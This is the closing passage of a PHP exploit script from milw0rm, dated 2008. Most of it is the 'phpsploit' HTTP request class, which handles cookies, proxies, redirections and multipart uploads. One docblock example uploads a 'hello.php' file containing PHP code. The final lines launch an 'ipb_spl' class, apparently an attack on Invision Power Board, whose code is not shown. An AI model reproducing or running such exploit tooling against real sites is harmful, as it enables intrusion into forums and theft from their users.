die("Error: Invalid port number");
|
|
}
|
|
|
|
|
|
/**
|
|
* This function allows you to use an
|
|
* http proxy server which requires a
|
|
* basic authentification. Several
|
|
* methods are supported:
|
|
*
|
|
* @access public
|
|
* @param string proxyauth ProxyUser
|
|
* @param string proxypass ProxyPass
|
|
* @example $this->proxyauth('user','pwd')
|
|
* @example $this->proxyauth('user:pwd');
|
|
*
|
|
*/
|
|
function proxyauth($proxyauth,$proxypass='')
|
|
{
|
|
if(empty($proxypass))
|
|
{
|
|
$posvirg = strpos($proxyauth,':');
|
|
$this->proxyuser = substr($proxyauth,0,$posvirg);
|
|
$this->proxypass = substr($proxyauth,$posvirg+1);
|
|
}
|
|
else
|
|
{
|
|
$this->proxyuser = $proxyauth;
|
|
$this->proxypass = $proxypass;
|
|
}
|
|
}
|
|
|
|
|
|
/**
|
|
* This function allows you to set
|
|
* the 'User-Agent' header.
|
|
*
|
|
* @access public
|
|
* @param string useragent Agent
|
|
* @example $this->agent('Firefox')
|
|
*
|
|
*/
|
|
function agent($useragent)
|
|
{
|
|
$this->addheader('User-Agent',$useragent);
|
|
}
|
|
|
|
|
|
/**
|
|
* This function returns the headers
|
|
* which will be in the next request.
|
|
*
|
|
* @access public
|
|
* @return string $this->header_str Headers
|
|
* @return array $this->head Headers
|
|
* @example $this->showheader()
|
|
* @example $this->showheader(1)
|
|
*
|
|
*/
|
|
function showheader($array='')
|
|
{
|
|
$this->header_str = '';
|
|
|
|
if(!isset($this->header))
|
|
return;
|
|
|
|
if(!empty($array))
|
|
return $this->header;
|
|
|
|
foreach($this->header as $name => $value)
|
|
$this->header_str .= $name.': '.$value."\r\n";
|
|
|
|
return $this->header_str;
|
|
}
|
|
|
|
|
|
/**
|
|
* This function returns the cookies
|
|
* which will be in the next request.
|
|
*
|
|
* @access public
|
|
* @return string $this->cookie_str Cookies
|
|
* @return array $this->cookie Cookies
|
|
* @example $this->showcookie()
|
|
* @example $this->showcookie(1)
|
|
*
|
|
*/
|
|
function showcookie($array='')
|
|
{
|
|
if(!isset($this->cookie))
|
|
return;
|
|
|
|
if(!empty($array))
|
|
return $this->cookie;
|
|
|
|
$this->cookie_str = '';
|
|
|
|
foreach($this->cookie as $name => $value)
|
|
$this->cookie_str .= $name.'='.$value.'; ';
|
|
|
|
return $this->cookie_str;
|
|
}
|
|
|
|
|
|
/**
|
|
* This function returns the last
|
|
* formed http request.
|
|
*
|
|
* @access public
|
|
* @return string $this->packet HttpPacket
|
|
* @example $this->showlastrequest()
|
|
*
|
|
*/
|
|
function showlastrequest()
|
|
{
|
|
if(!isset($this->packet))
|
|
return;
|
|
else
|
|
return $this->packet;
|
|
}
|
|
|
|
|
|
/**
|
|
* This function sends the formed
|
|
* http packet with the GET method.
|
|
*
|
|
* @access public
|
|
* @param string url Url
|
|
* @return string $this->sock()
|
|
* @example $this->get('localhost/index.php?var=x')
|
|
* @example $this->get('http://localhost:88/tst.php')
|
|
*
|
|
*/
|
|
function get($url)
|
|
{
|
|
$this->target($url);
|
|
$this->method = 'get';
|
|
return $this->sock();
|
|
}
|
|
|
|
|
|
/**
|
|
* This function sends the formed
|
|
* http packet with the POST method.
|
|
*
|
|
* @access public
|
|
* @param string url Url
|
|
* @param string data PostData
|
|
* @return string $this->sock()
|
|
* @example $this->post('http://localhost/','helo=x')
|
|
*
|
|
*/
|
|
function post($url,$data)
|
|
{
|
|
$this->target($url);
|
|
$this->method = 'post';
|
|
$this->data = $data;
|
|
return $this->sock();
|
|
}
|
|
|
|
|
|
/**
|
|
* This function sends the formed http
|
|
* packet with the POST method using
|
|
* the multipart/form-data enctype.
|
|
*
|
|
* @access public
|
|
* @param array array FormDataArray
|
|
* @return string $this->sock()
|
|
* @example $formdata = array(
|
|
* frmdt_url => 'http://localhost/upload.php',
|
|
* frmdt_boundary => '123456', # Optional
|
|
* 'var' => 'example',
|
|
* 'file' => array(
|
|
* frmdt_type => 'image/gif', # Optional
|
|
* frmdt_transfert => 'binary' # Optional
|
|
* frmdt_filename => 'hello.php,
|
|
* frmdt_content => '<?php echo 1; ?>'));
|
|
* $this->formdata($formdata);
|
|
*
|
|
*/
|
|
function formdata($array)
|
|
{
|
|
$this->target($array[frmdt_url]);
|
|
$this->method = 'formdata';
|
|
$this->data = '';
|
|
|
|
if(!isset($array[frmdt_boundary]))
|
|
$this->boundary = 'phpsploit';
|
|
else
|
|
$this->boundary = $array[frmdt_boundary];
|
|
|
|
foreach($array as $key => $value)
|
|
{
|
|
if(!preg_match('#^frmdt_(boundary|url)#',$key))
|
|
{
|
|
$this->data .= str_repeat('-',29).$this->boundary."\r\n";
|
|
$this->data .= 'Content-Disposition: form-data; name="'.$key.'";';
|
|
|
|
if(!is_array($value))
|
|
{
|
|
$this->data .= "\r\n\r\n".$value."\r\n";
|
|
}
|
|
else
|
|
{
|
|
$this->data .= ' filename="'.$array[$key][frmdt_filename]."\";\r\n";
|
|
|
|
if(isset($array[$key][frmdt_type]))
|
|
$this->data .= 'Content-Type: '.$array[$key][frmdt_type]."\r\n";
|
|
|
|
if(isset($array[$key][frmdt_transfert]))
|
|
$this->data .= 'Content-Transfer-Encoding: '.$array[$key][frmdt_transfert]."\r\n";
|
|
|
|
$this->data .= "\r\n".$array[$key][frmdt_content]."\r\n";
|
|
}
|
|
}
|
|
}
|
|
|
|
$this->data .= str_repeat('-',29).$this->boundary."--\r\n";
|
|
return $this->sock();
|
|
}
|
|
|
|
|
|
/**
|
|
* This function returns the content
|
|
* of the server response, without
|
|
* the headers.
|
|
*
|
|
* @access public
|
|
* @param string code ServerResponse
|
|
* @return string $this->server_content
|
|
* @example $this->getcontent()
|
|
* @example $this->getcontent($this->get('http://localhost/'))
|
|
*
|
|
*/
|
|
function getcontent($code='')
|
|
{
|
|
if(empty($code))
|
|
$code = $this->recv;
|
|
|
|
$code = explode("\r\n\r\n",$code);
|
|
$this->server_content = '';
|
|
|
|
for($i=1;$i<count($code);$i++)
|
|
$this->server_content .= $code[$i];
|
|
|
|
return $this->server_content;
|
|
}
|
|
|
|
|
|
/**
|
|
* This function returns the headers
|
|
* of the server response, without
|
|
* the content.
|
|
*
|
|
* @access public
|
|
* @param string code ServerResponse
|
|
* @return string $this->server_header
|
|
* @example $this->getcontent()
|
|
* @example $this->getcontent($this->post('http://localhost/','1=2'))
|
|
*
|
|
*/
|
|
function getheader($code='')
|
|
{
|
|
if(empty($code))
|
|
$code = $this->recv;
|
|
|
|
$code = explode("\r\n\r\n",$code);
|
|
$this->server_header = $code[0];
|
|
|
|
return $this->server_header;
|
|
}
|
|
|
|
|
|
/**
|
|
* This function is called by the
|
|
* cookiejar() function. It adds the
|
|
* value of the "Set-Cookie" header
|
|
* in the "Cookie" header for the
|
|
* next request. You don't have to
|
|
* call it.
|
|
*
|
|
* @access private
|
|
* @param string code ServerResponse
|
|
*
|
|
*/
|
|
function getcookie()
|
|
{
|
|
foreach(explode("\r\n",$this->getheader()) as $header)
|
|
{
|
|
if(preg_match('/set-cookie/i',$header))
|
|
{
|
|
$fequal = strpos($header,'=');
|
|
$fvirgu = strpos($header,';');
|
|
|
|
// 12=strlen('set-cookie: ')
|
|
$cname = substr($header,12,$fequal-12);
|
|
$cvalu = substr($header,$fequal+1,$fvirgu-(strlen($cname)+12+1));
|
|
|
|
$this->cookie[trim($cname)] = trim($cvalu);
|
|
}
|
|
}
|
|
}
|
|
|
|
|
|
/**
|
|
* This function is called by the
|
|
* get()/post() functions. You
|
|
* don't have to call it.
|
|
*
|
|
* @access private
|
|
* @param string urltarg Url
|
|
* @example $this->target('http://localhost/')
|
|
*
|
|
*/
|
|
function target($urltarg)
|
|
{
|
|
if(!ereg('^http://',$urltarg))
|
|
$urltarg = 'http://'.$urltarg;
|
|
|
|
$urlarr = parse_url($urltarg);
|
|
|
|
if(!isset($urlarr['path']) || empty($urlarr['path']))
|
|
die("Error: No path precised");
|
|
|
|
$this->url = $urlarr['path'];
|
|
|
|
if(isset($urlarr['query']))
|
|
$this->url .= '?'.$urlarr['query'];
|
|
|
|
$this->port = !empty($urlarr['port']) ? $urlarr['port'] : 80;
|
|
$this->host = $urlarr['host'];
|
|
|
|
if($this->port != '80')
|
|
$this->host .= ':'.$this->port;
|
|
|
|
$this->path = substr($urlarr['path'],0,strrpos($urlarr['path'],'/')+1);
|
|
|
|
if($this->port > 65535)
|
|
die("Error: Invalid port number");
|
|
}
|
|
|
|
|
|
/**
|
|
* If you call this function,
|
|
* the script will extract all
|
|
* 'Set-Cookie' headers values
|
|
* and it will automatically add
|
|
* them into the 'Cookie' header
|
|
* for all next requests.
|
|
*
|
|
* @access public
|
|
* @param integer code 1(enabled) 0(disabled)
|
|
* @example $this->cookiejar(0)
|
|
* @example $this->cookiejar(1)
|
|
*
|
|
*/
|
|
function cookiejar($code)
|
|
{
|
|
if($code=='0')
|
|
$this->cookiejar=FALSE;
|
|
|
|
elseif($code=='1')
|
|
$this->cookiejar=TRUE;
|
|
}
|
|
|
|
|
|
/**
|
|
* If you call this function,
|
|
* the script will follow all
|
|
* redirections sent by the server.
|
|
*
|
|
* @access public
|
|
* @param integer code 1(enabled) 0(disabled)
|
|
* @example $this->allowredirection(0)
|
|
* @example $this->allowredirection(1)
|
|
*
|
|
*/
|
|
function allowredirection($code)
|
|
{
|
|
if($code=='0')
|
|
$this->allowredirection=FALSE;
|
|
|
|
elseif($code=='1')
|
|
$this->allowredirection=TRUE;
|
|
}
|
|
|
|
|
|
/**
|
|
* This function is called if
|
|
* allowredirection() is enabled.
|
|
* You don't have to call it.
|
|
*
|
|
* @access private
|
|
* @return string $this->get('http://'.$this->host.$this->path.$this->last_redirection)
|
|
* @return string $this->get($this->last_redirection)
|
|
* @return string $this->recv;
|
|
*
|
|
*/
|
|
function getredirection()
|
|
{
|
|
if(preg_match('/(location|content-location|uri): (.*)/i',$this->getheader(),$codearr))
|
|
{
|
|
$this->last_redirection = trim($codearr[2]);
|
|
|
|
if(!ereg('://',$this->last_redirection))
|
|
return $this->get('http://'.$this->host.$this->path.$this->last_redirection);
|
|
|
|
else
|
|
return $this->get($this->last_redirection);
|
|
}
|
|
else
|
|
return $this->recv;
|
|
}
|
|
|
|
|
|
/**
|
|
* This function allows you
|
|
* to reset some parameters.
|
|
*
|
|
* @access public
|
|
* @param string func Param
|
|
* @example $this->reset('header')
|
|
* @example $this->reset('cookie')
|
|
* @example $this->reset()
|
|
*
|
|
*/
|
|
function reset($func='')
|
|
{
|
|
switch($func)
|
|
{
|
|
case 'header':
|
|
$this->header = array();
|
|
break;
|
|
|
|
case 'cookie':
|
|
$this->cookie = array();
|
|
break;
|
|
|
|
default:
|
|
$this->cookiejar = '';
|
|
$this->header = array();
|
|
$this->cookie = array();
|
|
$this->allowredirection = '';
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
|
|
$web = new phpsploit;
|
|
$web->cookiejar(1);
|
|
$web->agent('Mozilla Firefox');
|
|
|
|
$ipb = new ipb_spl;
|
|
$ipb->web =& $web;
|
|
$ipb->main();
|
|
|
|
?>
|
|
|
|
# milw0rm.com [2008-08-29]
|